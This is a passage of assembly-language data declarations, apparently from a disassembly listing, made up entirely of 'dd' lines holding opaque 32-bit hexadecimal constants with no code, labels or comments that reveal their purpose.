		dd 57F22AD0h, 0A96E737Ah, 997CD1F5h, 0C0494E74h, 4C1AF17Bh
		dd 0E943391Ch, 0F9B7A899h, 84D7F978h, 4A1BBD8Bh, 3A7505Dh
		dd 0B9D9F6A8h, 3CA7AD71h, 793E3C74h, 3409194Fh,	39FDF901h
		dd 1634F1A4h, 0A733EC91h, 0A29BA9FFh, 0C0E68186h, 0B61AF4ACh
		dd 0BF8F0A7Bh, 4792F26h, 2E1275A6h, 6FFA9460h, 0E9453B9Eh
		dd 0A7A0CCA0h, 40803607h, 0EFF0A05h, 26CC2C04h,	63270980h
		dd 0E500D5FBh, 0E96A6B32h, 0BCFB4B91h, 7B49DE94h, 75331AD3h
		dd 6327C4CEh, 0C3D2F9BFh, 0DDD34F05h, 5D2EC3C4h, 90D3FCE5h
		dd 32600C4h, 0C32D183Bh, 1215003Eh, 0AC41CD05h,	0EC26E90Bh
		dd 4EEF67AAh, 0DF8EB6CFh, 1D9CEE93h, 89F049E9h,	25DC5825h
		dd 6408616h, 1BF28142h,	5EE31B17h, 0D4CD1C01h, 74DAEAD4h
		dd 0C457E916h, 0EA3EA65h, 51F14D7Ch, 2F9E6809h,	534B425Bh
		dd 791708DFh, 0EBCCFE0Eh, 992975F6h, 0E269405Fh, 5ED50932h
		dd 6FD5148Bh, 415C2F51h, 1667F6C3h, 0A31C8891h,	0E205117Fh
		dd 206ED02h, 18FE516Dh,	7FE82916h, 0D9A93F89h, 7A4E7740h
		dd 0FD7BBB80h, 863E95F1h, 520FA40Fh, 874DBC45h,	3ACB108Eh
		dd 0C045F548h, 289C31Fh, 8E9A8035h, 25098D0Eh, 0B07D5595h
		dd 4AE95D5Bh, 0F0B28725h, 0EA6AD68h, 0BF91724Fh, 59039141h
		dd 2D384A0Eh, 89016B49h, 0A0D7F47Dh, 0FE5E4B0Bh, 4FF6DE38h
		dd 84FAB8E1h, 0F5E24025h, 5627284Ch, 0DC344F97h, 1FD898AFh
		dd 578C5E4Eh, 22B1D2D9h, 0B95C7EC3h, 0C4DE8B51h, 0C5FB9CB8h
		dd 101FC1CDh, 2DF58350h, 0EF444E86h, 28AA2B3h, 6F1F59Bh
		dd 445E5F30h, 0E1502F3Fh, 75D2886Ch, 4C496DF9h,	0C27025E1h
		dd 80CAD805h, 0FB7ADA7Ch, 0D059682Dh, 928908Fh,	515B2033h
		dd 75160377h, 0C37D0272h, 7ABC6319h, 302AA440h,	0D17FFF00h
		dd 0B5684BE3h, 34989578h, 4082BE0Ah, 977EA58Ah,	978C1C59h
		dd 0FEEA87E3h, 0A1CB92B6h, 0A28FA4Bh, 1868570Bh, 8A257D7Ah
		dd 6FC9D6F2h, 0BA1D6025h, 0EA4B788Ah, 635A2049h, 0D00CC9FBh
		dd 9EC2E234h, 0C9914202h, 0E08D275h, 549D94C6h,	38640C90h
		dd 54E87862h, 2428C7A6h, 0A8E2CF0h, 0A7D90213h,	5D4B41DEh
		dd 6FF6A83Ah, 3F7E1C2h,	0C7732D58h, 25EB0D07h, 0F630645Dh
		dd 1246180Fh, 0B3A9FEE9h, 501A255Bh, 3547BD94h,	84E64463h
		dd 0A97E2849h, 0C682D572h, 985F3EBAh, 6080E9E8h, 59C761B4h
		dd 39F3A2B0h, 3F570214h, 75010B4Ah, 0CA01FF9h, 0E9FD5F61h
		dd 69948EDBh, 9A35D5E0h, 26188055h, 0B0B87482h,	403C4D27h
		dd 1C9BE7A5h, 0C16C8A56h, 7152FEBEh, 5EF1205Fh,	0DFE8D7E4h
		dd 0C8C7833Ch, 4E5101F9h, 0FB214C6Eh, 68DA0D21h, 24712483h
		dd 3F38401Ah, 0B971BD2Dh, 86065797h, 2B2D45FAh,	885165Bh
		dd 8B2451C3h, 50AD052Fh, 1A1003B3h, 1ABE7DECh, 54270A82h
		dd 0CA5F4203h, 0AF83FD57h, 0B7C7E3C9h, 0A71EDCC0h, 8E247B5Ah
		dd 0BC054DF2h, 80416A4Fh, 0B31294E6h, 9DE63C75h, 0FC81E22Eh
		dd 9ED1593Eh, 0ADD5DE58h, 28E51D2Dh, 1E813A8Bh,	535FFB3Bh
		dd 6DA03EBBh, 8AB5A01Fh, 41492E3Dh, 0C2EB41D3h,	82B14557h
		dd 6E77697Bh, 0C03E3510h, 7C79FA0Ah, 4D848C6Dh,	0C427FCDCh
		dd 5D0B0FE8h, 9A3805F5h, 0BA2028EEh, 0F7F646BAh, 1FE07302h
		dd 0E3F88995h, 7954FD27h, 9CD716D2h, 5310428Ah,	0D99D7329h
		dd 5584011h, 0F65B4BF3h, 0E01053A2h, 3B748FFh, 66480764h
		dd 6CD6E7D1h, 73F0FF1Ch, 146B013Ah, 0D59C831h, 2BC8E33Fh
		dd 5E17B035h, 16AE0CA9h, 9F2DE23Dh, 0C9BB7427h,	7880A275h
		dd 685A03D5h, 3AC62AD2h, 0F629B001h, 0D574E9D8h, 0F2EB84C3h
		dd 1D2DC163h, 0B920FC59h, 386813F0h, 0D034F840h, 5B09960Fh
		dd 0AFE07B1Ah, 26DE1C1h, 92ED60ADh, 3E252D78h, 9FC51D00h
		dd 17044B5Fh, 24E9E5D1h, 5413AEBCh, 4C2E8A5Eh, 3F52B6F5h
		dd 1CA41A85h, 2BB00216h, 1AC12CB5h, 779039B4h, 0B009C640h
		dd 0F67EA0DCh, 40703771h, 2048F312h, 1C572030h,	2BA4253h
		dd 4B032D29h, 50E30EEEh, 0C0457DB8h, 85E97A17h,	0BDA1E0h
		dd 5AB34725h, 5FADCD81h, 0CA616034h, 16E1F4E0h,	0AA157F75h
		dd 0CABEA641h, 0A860E299h, 0C9CCB55Dh, 4E8C4720h, 0D2100041h
		dd 89137670h, 16E5FD40h, 40BA63B4h, 82690CC1h, 3B27E937h
		dd 0F71F9B57h, 38662858h, 0FE4B30D4h, 0C8B69E62h, 5B8668D7h
		dd 0D5903023h, 395C8338h, 2591063Fh, 7A0C3AE9h,	70D42E82h
		dd 126812C8h, 43BA36Fh,	29F16DA7h, 49251AACh, 0C1F5A6C2h
		dd 0E42296D8h, 18DDF502h, 85802924h, 31285006h,	552C0A94h
		dd 6683C026h, 0A525E768h, 23D06A2h, 7F4CE8DAh, 9BE94E0Ch
		dd 0BEA5597h, 35AE68FAh, 53145CC5h, 6A5700E6h, 49BB6B86h
		dd 0DFAA5071h, 0B945D9Fh, 557C3156h, 3D2BC1B3h,	9B906F35h
		dd 127F6ABAh, 4096579h,	0E9BBC1E3h, 35580797h, 46B76A2Bh
		dd 1CD8A7EDh, 40E80C08h, 9810D9F7h, 0F2A0B813h,	7F25E316h
		dd 6F7989AFh, 3039941Fh, 6A4AA2D5h, 20E9E6FDh, 7BA0A7C4h
		dd 3C05373Bh, 6EDC142h,	0CF41B001h, 163A01ADh, 0DC9601E3h
		dd 0DF55A322h, 0BF318294h, 14FD6801h, 0F03F584h, 7BA4AB01h
		dd 654B0B87h, 25D25805h, 0FE70C309h, 62FA487Ch,	0F92D8003h
		dd 0ABF6180Bh, 5853F629h, 494A5568h, 76CBEBBCh,	274EB057h
		dd 5CD31C59h, 0D253A531h, 4E17E984h, 75CB2907h,	2ACE5650h
		dd 20BC4C41h, 0A5BB0AB9h, 12F96412h, 0B883B0A4h, 733EC312h
		dd 91C300BBh, 8902B7D6h, 9A3AA9B1h, 282CA368h, 0DF300887h
		dd 0BFDF92E9h, 31606F12h, 80821D4Ah, 4409E5F8h,	74F4C41h
		dd 67107204h, 4CFFC20Dh, 12B76409h, 0CA5AD129h,	6BE909AFh
		dd 425276D8h, 47FD8735h, 0A2103F86h, 495F24B6h,	4F4C990Fh
		dd 0B89A8467h, 0E0DE76D2h, 0D6A03D44h, 65D1E29h, 0C2CE032h
		dd 36054609h, 40C0F4F4h, 97E95208h, 0B90727B6h,	726E7167h
		dd 243A5A02h, 1CC0402Bh, 8C92B51Ah, 499F5157h, 0BC0CC2F9h
		dd 0ED75B126h, 6887267Ah, 6FE1A275h, 5DE3A5B8h,	80583104h
		dd 11C2CBF1h, 0B602F559h, 0E677CA37h, 2E475186h, 0F4D8C23Fh
		dd 7525437Eh, 0E92E11BEh, 0BE826A6Eh, 78B2320Dh, 0E423895h
		dd 0F60311BBh, 6434019Bh, 5AF81874h, 0E6043D7Ch, 3A637D9Fh
		dd 13A5FC80h, 57C02E5h,	591A0618h, 9304A885h, 35A7FC1Dh
		dd 58B38272h, 0B00E7877h, 0B4DC2039h, 0D94662B5h, 3D0708D6h
		dd 0DE285809h, 6400929h, 95B39F18h, 634F41F4h, 275115CCh
		dd 2D7015B5h, 407C073h,	0BF2CD0F6h, 0EEE9C5A0h,	0BD8896F7h
		dd 0A712425h, 5DC6C287h
		dd 0DB091535h, 0B243C85Bh, 74220A21h, 2081D601h, 0D05A4B08h
		dd 3155F069h, 125F6626h, 5F43C42h, 259EB95Ch, 68C80167h
		dd 5E6F460Eh, 0B904E007h, 22992071h, 233BC0AAh,	2E17F951h
		dd 0A5E131E9h, 0E94E2F4Fh, 60F5840Bh, 68D0B390h, 0F7431AEFh
		dd 33D405D2h, 727B8B01h, 0EE20420Fh, 67E61FBFh,	8C741ADh
		dd 6E23FC29h, 80121D4h,	0C515E95Ah, 611DF47Fh, 2F216612h
		dd 4C3456E0h, 84AD4A30h, 4B6C68A7h, 8C8DAAFh, 0B4091A68h
		dd 35D88736h, 0A138BC03h, 297F2C8Bh, 0E7F72E01h, 7911E909h
		dd 2996AD6h, 0CF73BDAEh, 3A1F6809h, 0FD629A5Ch,	7320F7F9h
		dd 0DFB151C1h, 96C9FE3Eh, 0A0AC5926h, 5E1CEBC5h, 18302F55h
		dd 0D39F525Eh, 37F92589h, 1ED548C9h, 0DD189795h, 7B95F1A3h
		dd 0A8EC879h, 495F312Bh, 80EF170Ah, 2F59BE56h, 0C3950222h
		dd 0D142F997h, 7E4CB63Bh, 51EC0167h, 3104EF3h, 7ACEEB73h
		dd 0C0573D0h, 0A5414BAh, 8D350ABh, 0BF140C68h, 0E6A3305h
		dd 9313882Ah, 0A68C3A5Fh, 0D8D465B1h, 0F0D9BB11h, 0B630127Fh
		dd 649504A9h, 811025C6h, 0B4A50841h, 0DAB91D80h, 3026D62Fh
		dd 9F268989h, 68FF182Dh, 35795585h, 58C8E63Eh, 55C3C28h
		dd 0E7C17E10h, 87CF1DC0h, 23952452h, 0A87D0586h, 0C400C46Ah
		dd 0F199EF0Bh, 0CB26DA3Ch, 98DF4222h, 97AA4C77h, 0B652CDB8h
		dd 0A1E9CD16h, 9DAF89C4h, 686930D0h, 0D607C22Dh, 5E950B7h
		dd 0E0C8997h, 7EF54C69h, 0EFBF80C1h, 1D23B41Ah,	0BDAB7FB4h
		dd 366C82F7h, 0E75D19D2h, 817DACE4h, 3D2A2569h,	0AC3BF3E9h
		dd 0A5EBC017h, 0A025E477h, 7871FAEBh, 545ABD51h, 6A680880h
		dd 0BD8C5D4Bh, 42435D0Ah, 5D41FC9h, 0FFE18909h,	0E986E995h
		dd 97165285h, 0A09E7385h, 7C97594Eh, 0F306C730h, 114E8C6Ch
		dd 64B096A0h, 0EFF15FE6h, 5D046B52h, 4D1DC2AFh,	200AB8B7h
		dd 0D13F0406h, 0DCCEADE3h, 96ED81CBh, 7029A04Bh, 5D4A4062h
		dd 0DFC12016h, 3D7411DAh, 0FE3725C0h, 0F9223672h, 5B05182Ch
		dd 6E59059h, 3084561h, 0E7418355h, 40EA5D01h, 1C6C42CBh
		dd 5E4675CAh, 645853E9h, 0FEC21368h, 5C251262h,	0DD524211h
		dd 14B557CCh, 2F0A9B11h, 0F389DF5Eh, 32461A71h,	0FF7089F7h
		dd 0FB68C330h, 0A1A6024Eh, 5B100F48h, 0D80100BDh, 5AB66852h
		dd 6032E366h, 0D5E6D613h, 685BA48Ah, 73375E2Ch,	0B8CBA7BDh
		dd 1855516Bh, 25204368h, 0C2E1D9AAh, 271E9CF5h,	6A041543h
		dd 0C829BACEh, 0C44B2C3Eh, 0BA0B5462h, 0E0DB57B7h, 6AAB7F2Dh
		dd 0E94179C2h, 0EA32E56h, 0AFA01392h, 0A85AD0DAh, 56AE4B60h
		dd 6101FE83h, 166F57AAh, 7477BB60h, 3D3F4D0Dh, 63F87600h
		dd 95E9FA31h, 0AC93049Fh, 5E9E5EE4h, 0B37F770Ah, 0AF2FE60Fh
		dd 0AF084554h, 55DA4B5Eh, 41BEC930h, 212D5E9Ah,	5B1CF7F0h
		dd 0D8E9520Ah, 2401457Eh, 58777C4Dh, 8A922DBFh,	5CE233ADh
		dd 3D753210h, 0C0C2FE00h, 0D56803EAh, 6DC54962h, 0A6425ED1h
		dd 0D4AE0288h, 9D8D45A4h, 0CB4147DFh, 7E6910FCh, 0E1566BF9h
		dd 326BC580h, 48013FEAh, 0DC188DD5h, 21C2ABA9h,	132A3613h
		dd 0DCBB10BFh, 52F6AFB4h, 0E46CE9CFh, 0DF3CF78Ch, 0D0572F4Fh
		dd 6F8696C5h, 0AE6E3D64h, 0B22EE8CDh, 7588007Ch, 4FE9114Ah
		dd 0E779C9C7h, 80C2203Ch, 0F75416EDh, 1C6BF61h,	202ECA31h
		dd 6675BF4Eh, 5642D804h, 0B0C5FE89h, 0A6B96B40h, 205D48h
		dd 8107E1C1h, 0FE2991C9h, 3887724Ch, 4CB3924Eh,	24D2B4h
		dd 5CDB2CAh, 60155879h,	7DE089Dh, 0B87AE427h, 780D1DDFh
		dd 0E93AC305h, 0B3033832h, 2E7A96CEh, 1E6B031h,	7B404C3Fh
		dd 20C79876h, 0F61D2468h, 0B6BB30D4h, 500D0632h, 400CDA59h
		dd 0C2388023h, 0F3D32728h, 2AA30899h, 8481BD0Fh, 2FE1F4Ah
		dd 0C44FAD9Dh, 0D026E4DCh, 27E5512Dh, 0F04027D4h, 9832F408h
		dd 586B4FBh, 0AB04B368h, 0E912408Ah, 8830431Ah,	0EC985BFDh
		dd 0E3EE5A59h, 35C585Ch, 8E9C0F1h, 0E381AD80h, 6993C806h
		dd 0B4CA06C7h, 33170C10h, 0EB0FA81Bh, 0C61AA968h, 963D2F3h
		dd 5171DF26h, 54F89909h, 0FEF273E3h, 0FE9D9870h, 0E505CB58h
		dd 0F785FE15h, 1AA81DB8h, 7E0D0B9Dh, 55685843h,	0E5914F5Bh
		dd 65933FF2h, 0A22701FBh, 3F2FA176h, 0D80449E6h, 8EF51EE9h
		dd 0C4135E63h, 0AE3816EFh, 0B34E878Eh, 0F014875h, 0A2E44657h
		dd 7663A8E9h, 806B9223h, 2DCA814Dh, 2FBF7E17h, 12807B0Eh
		dd 6948CABFh, 0AF89FE4Ah, 9109E089h, 4EF6BEF5h,	882EAE5Ch
		dd 3325EA4Eh, 0D0CF28FDh, 1761681h, 1C8B2ADDh, 39CCBE06h
		dd 0C504186Fh, 4BF16D53h, 8006DA5h, 94DA50E9h, 3983804Eh
		dd 17B81B93h, 5ED23A00h, 0F4E9F829h, 0A700B9A8h, 0F35821F4h
		dd 620316A5h, 11AE1F38h, 0AED91348h, 888A38EAh,	7D2B8B95h
		dd 5496356Dh, 61B8BC12h, 123ABF02h, 0CE6002F7h,	450F2C4Ah
		dd 0F686E96Dh, 285DCC90h, 0A0465CAEh, 936CA205h, 9089C526h
		dd 84C06E5Bh, 0DDE9FC28h, 68417F9Ch, 0CB3E35AAh, 4C0113F3h
		dd 0C1527B8Ch, 8A3DA7E0h, 1BC57015h, 0CF9FB4Eh,	0EE535BC5h
		dd 6BCCA845h, 0CF4A4F01h, 63ECB528h, 5A5294C4h,	9EFFBBA9h
		dd 36E912B3h, 34C8AFC4h, 3BD64159h, 9E31F80Eh, 7E6D6489h
		dd 0CAF14009h, 497D4048h, 4AB02726h, 0F4A0FAADh, 0A9067A4h
		dd 1F246248h, 0D00F9EFDh, 6E0EBC70h, 0BE267F4Eh, 290B0B72h
		dd 0C091E9DEh, 4CE2803Dh, 8A01AEF3h, 0DFF6FA86h, 60877B66h
		dd 0E247D727h, 7D225886h, 0B75305B0h, 0F830E9DBh, 0CCF55FC7h
		dd 227EE06Bh, 0F27C0309h, 208F7029h, 9EA12FEEh,	522C08Dh
		dd 4C56F9F6h, 1D1F02DFh, 0C0494627h, 164B3B4Ah,	0E84121C6h
		dd 592AD90Dh, 0E89F9040h, 5CFD7A36h, 862083C8h,	4C1FE33h
		dd 0D7E6D280h, 0C9602309h, 1801B7Fh, 0B50394C7h, 0C192A416h
		dd 0DB247777h, 9717104Dh, 0B8BA1B80h, 324A2D0Ah, 72718E70h
		dd 0FFECF52Dh, 64C56480h, 54627042h, 0DF60120Ch, 0C169D1E0h
		dd 66EF3B94h, 386F071Dh, 0D51E1CEDh, 0E3F8CB15h, 8557492h
		dd 471CC9F4h, 1B08B566h, 68510E3Dh, 694077C2h, 4FDA16FDh
		dd 548632B7h, 9827D45Bh, 0C6F426DFh, 1AEE0162h,	0CA2F0916h
		dd 660D0004h, 8688310Bh, 0A7E42EA1h, 6A0342F0h,	5F491F16h
		dd 0DFB9FD83h, 4BA7E492h, 0EC2B1541h, 0B252C726h, 0FDF2883Bh
		dd 2F3A008h, 0F76970BAh, 6CE83DE3h, 9E1D1699h, 420B5B2Dh
		dd 2F1420Dh, 49B2E907h,	97F1F775h, 13B08470h, 89E96CCh
		dd 28009177h, 805B66FDh, 9D6A77EDh, 464F32F0h, 0A7B8FDC0h
		dd 1B48000Ah, 0C369EB2Dh, 0E8078311h, 433005FFh, 0C841DF8Fh
		dd 29323990h, 0EBE1126Bh, 0DEEF66D4h, 0AEE90CDBh, 0E0581688h
		dd 5937C9EEh, 0F38897B0h, 8ACE916h, 21EF2124h, 7484D2h
		dd 326CFBBDh, 51527902h, 4202E5D7h, 0F6668951h,	0AEDEF72Eh
		dd 343F051Fh, 0A2AB43C5h, 0B14810F7h, 0AA1E3A54h, 9A6DDDC8h
		dd 58F60A6h, 58A46CC8h,	600F45C2h, 0A7CFCDF5h, 944FAEE1h
		dd 0D454026Fh, 5F292543h, 0B071BF82h, 155CB800h, 0BF32009Fh
		dd 5A431FE4h, 51B0C731h, 3701F77Fh, 0F921534Ah,	12B0AE9h
		dd 86D4F6F9h, 0ECCFC9E1h, 0FFDEC3A6h, 2D20B059h, 68D3916Eh
		dd 13273953h, 6EAC34D0h, 95CC2CC7h, 0D8EC1F93h,	55FBBAAh
		dd 0B215DA1Ch, 0ED854097h, 0C0F887EFh, 0A031A21Bh, 8998E912h
		dd 8FC4CBBCh, 93BD01ACh, 9240D07Ah, 5B4A3BF8h, 2E7AB148h
		dd 1E7E129h, 0B00DFC3Ch
		dd 242BE96Bh, 6817666Bh, 0E888100Ch, 303A58AAh,	26690B80h
		dd 0C6F84E68h, 74BCF15Ah, 0A8C372C9h, 88F892B2h, 3F31F19Dh
		dd 0EDF2E292h, 0EC791271h, 13274790h, 4517603h,	836493E7h
		dd 0B3AA8034h, 0E090DC4h, 805FFB29h, 0F1092D3Ch, 24399B4Dh
		dd 0A56E14F4h, 41AFE83Ah, 4D94998Bh, 7596B20h, 28D0F180h
		dd 0B45081CAh, 0B3E74751h, 0C4F1C9E4h, 390692ACh, 5D0A22EBh
		dd 955D1655h, 2667F50Eh, 0A7D57EAFh, 3039DB04h,	192DEE3Dh
		dd 1016FA04h, 0E9529980h, 0D5E8498Ah, 854BB248h, 0DE2EBB89h
		dd 8691A94Eh, 25EB55A8h, 0BC299076h, 57E9BF33h,	16BA05E0h
		dd 4A1EF8FEh, 0A8D2E3A7h, 0DD5CA2DFh, 5752CED1h, 0DD97E790h
		dd 2751DAB7h, 579B1A5Bh, 7A3270F0h, 8C535Ch, 5B63FC28h
		dd 0B84BEBD1h, 84AD097Ah, 0E100AC30h, 788026E0h, 0F0D2E93Fh
		dd 60DDF697h, 0BC2561B9h, 0FF385966h, 0F0A4C703h, 291AC111h
		dd 8A8A0E9h, 6027B098h,	281CAF9Dh, 0C0742D3Ah, 687F012Fh
		dd 0B23E029Dh, 775E89ABh, 7E2F2D67h, 5FEEC07Eh,	0E298DB4Ah
		dd 820C2BCh, 0B6E95A5Eh, 79ABA96h, 2317BB4Ah, 0A30827BFh
		dd 7105EB42h, 0C2FE9AB2h, 0E9B98AC3h, 2924D378h, 0F3A35B68h
		dd 278158E7h, 51ADD4CDh, 49B86413h, 0BFFDDCE3h,	782D24DCh
		dd 0B15A3407h, 9E2CFB45h, 25B90551h, 0EF5D0856h, 0DF5B02C7h
		dd 33162290h, 0A33E523Eh, 820C2044h, 0F4210908h, 0AE36586Ah
		dd 76C25AACh, 412325A7h, 5A280B08h, 0F537EC5Bh,	2AFE7152h
		dd 86E44BCAh, 328C2568h, 85BCC571h, 4EE03ADDh, 0B05F7AB3h
		dd 0E8167FADh, 0D218094Dh, 1E800564h, 0ACE9B017h, 0ED879779h
		dd 0FEB9C6E9h, 4F213F7Fh, 0E98EF9C8h, 0C65CF6A9h, 0EE841E96h
		dd 387F92B1h, 0E535E9F5h, 83EA334Fh, 40813B7Dh,	83D7302Ah
		dd 706A7D05h, 0D8AE3768h, 2F042525h, 0CE290D38h, 24ACBFAh
		dd 56747DBBh, 0AB99416Ch, 48BF1681h, 2B1B7E09h,	0AC639EF8h
		dd 90B747DBh, 0C55B067h, 0FAF84397h, 0F8A255C3h, 9DCAFBE9h
		dd 0D8CBB7FEh, 9519FE73h, 0F175EAEAh, 907C92D6h, 3070A88Ah
		dd 0C4FC647Bh, 0FDB13ABDh, 0E9149F94h, 97993F6Fh, 4BBE2D5Dh
		dd 325B5E49h, 0C896D502h, 0F8628968h, 0F64F3AC8h, 0E9958CBBh
		dd 2DD71854h, 233D6EE8h, 70741019h, 8E01BB4Eh, 1A622AEBh
		dd 0E9060204h, 4BF9C58Ch, 84116B9Ah, 0C4A11B02h, 518BB927h
		dd 0D52F0C44h, 5B0146F6h, 81DAC47Eh, 0DD60678Bh, 5E1F7E49h
		dd 5AC2E396h, 0F9D3D757h, 0E926C849h, 44284F1Fh, 0AC654BDh
		dd 5F22B468h, 60B5B679h, 3380CEB3h, 0F90601E6h,	92F73411h
		dd 0CF0BC125h, 0B9915DDh, 7C5E52E9h, 589CF525h,	0BE5821BDh
		dd 1E41BB2h, 7079F405h,	50F0EC64h, 155E072Dh, 9072F5E9h
		dd 2FF3D59Dh, 89EA800Bh, 515002C0h, 0D217B12Ch,	99B74117h
		dd 36646A51h, 83009BAh,	5B72551Dh, 7E22A4C0h, 604A6A44h
		dd 79B21042h, 0A398409Eh, 4ACCE939h, 3B4C33A7h,	5A2CD84Eh
		dd 0DD765341h, 93C5977Bh, 51B82DBDh, 6B7241B8h,	32BC7A0Eh
		dd 6D7D0519h, 70820FAh,	2FF10818h, 3053F5A0h, 0DC0C05D5h
		dd 3E097875h, 0D6AFADE9h, 0E65C62C4h, 322FB56Fh, 205414E5h
		dd 5750E819h, 6E95ECBEh, 666816F5h, 0A1A0B86Ch,	425FEE9h
		dd 0F4A1826Dh, 12502212h, 0D2B0ADCBh, 0DE3712F5h, 984FBF67h
		dd 0FA1701C6h, 0FC604E0Ah, 2ABA6A6Eh, 0F0D81C0Fh, 421AEE59h
		dd 9170B426h, 8143634h,	3EB645EBh, 4A6951E0h, 4114B282h
		dd 2DBA3DACh, 2F687C29h, 40F296D5h, 0A492E734h,	0C9C38019h
		dd 34361006h, 96F3097Ch, 0F3A99CE9h, 0ABC59E05h, 40C09D84h
		dd 6F23017h, 3225356Fh,	0E85A54E0h, 0C9422B0Eh,	0BF08D023h
		dd 5E278A67h, 3814CDCBh, 0B44C8743h, 0E9F10133h, 5329A833h
		dd 299EE113h, 0DF681C1h, 31AD4AA5h, 0C2AAA22Ah,	611C5709h
		dd 2D00D868h, 0FE3D4DCFh, 53C8343Bh, 3D9BB0FAh,	5D24AA65h
		dd 768F661h, 0C01B6EDAh, 8A2D5EC0h, 5A683569h, 0FAADC50Bh
		dd 0D7ADE9E4h, 0A82D95F5h, 0ECD04AF7h, 0E8FCC50h, 20913BEh
		dd 66080423h, 0D633B2D6h, 46641402h, 5B7AC08Ch,	0A422BF6Ah
		dd 87093786h, 2738F8F1h, 3AB03080h, 84C101D5h, 34AF2CA9h
		dd 177B1882h, 620E5321h, 0C2A8E232h, 6E0B41F9h,	14D27172h
		dd 7D257FEFh, 9E025659h, 0FD82FFEDh, 0F46B9351h, 506807DBh
		dd 1CFD0B4Eh, 4042B03Bh, 4872935Ch, 3E0FEBB0h, 0CB467727h
		dd 1239FC25h, 0D703B45Dh, 9CE9944h, 91F4044h, 0CB98A600h
		dd 70B56B5Ch, 550626A7h, 0B823AD8h, 0D6F7242Ah,	0E875E583h
		dd 0B680F24Eh, 91B22FE9h, 0D8CF09E8h, 0D0EBDEF6h, 87D09532h
		dd 96199A17h, 9A023F0h,	298BEC47h, 0D4B5155Ah, 0E91654CAh
		dd 6329D1Ch, 52E45530h,	6EDDE9FDh, 3DC4E224h, 4AA5CABBh
		dd 0DC6144EAh, 305A00A8h, 0E6685BD8h, 0AE989736h, 88006BB2h
		dd 0F4805AD4h, 0E51666Ah, 0EC30FAB5h, 25EC04D7h, 0C05D09BEh
		dd 2C453436h, 16EA2B0Dh, 0E52CB8C8h, 67224701h,	7D706C96h
		dd 0AE4D131Eh, 8192E916h, 1C461B93h, 5852E82h, 6AFD3DFBh
		dd 0E908026Ch, 66F6682Ch, 5BCE3ABEh, 4E3C463Bh,	7DCCB850h
		dd 0A8015B30h, 851A15BBh, 0BDCF3B8Fh, 0B6A0ECCAh, 0E87F1EFBh
		dd 2022DD5Ah, 0CAE1801Ch, 0C089C1CEh, 0B7534BF1h, 7FE7F803h
		dd 0A5F70167h, 4DE9F928h, 9E66FD3h, 92196F2Ch, 0C00A0950h
		dd 0BB013378h, 69C36C86h, 0C02EDA09h, 0DF6EE309h, 5F29ED2Dh
		dd 28945A8h, 60F0357Eh,	4F6E1D5h, 0B96206ADh, 50F2574h
		dd 3AEF0C7Eh, 0F1585CC3h, 3B91295Eh, 0DD277AADh, 0E66F35Eh
		dd 54CFBC93h, 0A817D49Eh, 1ADE9E0h, 0B7FBA52h, 70293503h
		dd 0C970EA12h, 76F92EE1h, 52980BE5h, 0C1E7045Dh, 0F02E07C9h
		dd 0CDFE68CBh, 3C1FF413h, 0CFB84A04h, 0CE8C102h, 2FE6F357h
		dd 0DC566C6h, 1A98C268h, 0EDD030E9h, 4F03F58Bh,	0C472B30h
		dd 0ADC2D94h, 55E6E968h, 0EDCA0211h, 47D7A90h, 48C683B3h
		dd 16F00992h, 3CD014C2h, 0E9515207h, 7F0B0D4Ch,	10EB3545h
		dd 0BDA7264Ah, 1D7E11DAh, 2F6D8326h, 611EC504h,	0C7CE7380h
		dd 4380484Ch, 6762FF3Fh, 29415BDFh, 9ABD0292h, 65E58B2h
		dd 3F20A21h, 0DBB01101h, 0E68ECF4Ah, 77F70076h,	0E90E860Dh
		dd 92C1ABA4h, 397150BDh, 0C34016Ah, 2E22C0A3h, 5DE8C891h
		dd 56104329h, 0A0EC799Bh, 0F67209B7h, 0E9165458h, 0EF3A2564h
		dd 96CCD118h, 709DD7F7h, 0C1AA09B1h, 0C0D5A06Bh, 9559CFDEh
		dd 439EDA03h, 75EE5903h, 0D9207B45h, 7F242EB5h,	850F08DBh
		dd 6805C1D4h, 3CFA316Ch, 2788145Bh, 2F652170h, 27AAFEADh
		dd 0AE818F7h, 42E03045h, 0F428A7BCh, 0AE17554Eh, 528B16F3h
		dd 0D77EAE0Bh, 714AD569h, 230410FDh, 0EE4ABF22h, 9BAE0055h
		dd 7F7B6E75h, 76472652h, 2D67A45Fh, 0D4898865h,	0C0CDDC0Fh
		dd 299D2091h, 0B95BF34h, 7F08A185h, 6C512FF4h, 386BC23Eh
		dd 0B1BD7DD4h, 6DE9166Ch, 0DD26457Fh, 3E43824Dh, 0BBF38100h
		dd 86695863h, 3BA1A610h, 80102750h, 68535CFEh, 999AB5ADh
		dd 0A27660C2h, 212C5F12h, 83680357h, 5F624312h,	48FEECD5h
		dd 4FAE00D4h, 55E97DC1h, 84599FACh, 5165C783h, 5F9B9779h
		dd 2408A608h, 5279258Ch, 0B2A5E967h, 72B47EC9h,	0AD0B30Ch
		dd 0F986515Ch, 0C7D5F609h, 16021140h, 0DEC498E9h, 50C75FFFh
		dd 70B676E0h, 7182F46Bh, 37D4C2B8h, 4E919C65h, 0A7DCB4B7h
		dd 0CAEDCF93h, 4DFE2BC9h
		dd 0BFD96E2Dh, 414D63C2h, 4BAD6625h, 0C7110450h, 0EE031384h
		dd 0D3E2304Dh, 0E115515Fh, 637F2EC4h, 7EC0C2Dh,	7189E2E9h
		dd 0E94F8667h, 42F6728h, 2D729FF3h, 2A97FE90h, 652151F2h
		dd 0DF68E112h, 5F316A76h, 442F1014h, 0B1EEA95Ah, 0D040717Eh
		dd 0C6F816FAh, 4ABDDB5Dh, 855F27B9h, 0A544AB05h, 3104B40Ch
		dd 87ABC1D6h, 6530524h,	5CDA3CEBh, 42E3E92Dh, 0F802770Ch
		dd 5056D133h, 0C52F1851h, 808DBE0Bh, 5AB2408Bh,	1300168Bh
		dd 0CDE901C7h, 4F056F49h, 0D8E237E8h, 0F64AA075h, 4E71E690h
		dd 3479A08Fh, 0EB1BEF60h, 97142679h, 6E0716C1h,	7844E281h
		dd 61A580F2h, 59DEC8Dh,	7497D05h, 2B4A128h, 96FD5B07h
		dd 9142179h, 703B04BCh,	0B3AF50CAh, 70E985E5h, 7C91AA53h
		dd 0B37ED874h, 0FC58CB1Dh, 2685C994h, 0D326452Dh, 5BDED005h
		dd 96A0C380h, 0E3BEF225h, 923DF187h, 80D6F7F2h,	180CE28Eh
		dd 5BD3B82Ah, 0F73E88A2h, 64BDB35h, 5E5F5542h, 0AE007FD3h
		dd 169660Eh, 89008BFh, 0C7A70A24h, 42DAA6F6h, 0BBC8CE73h
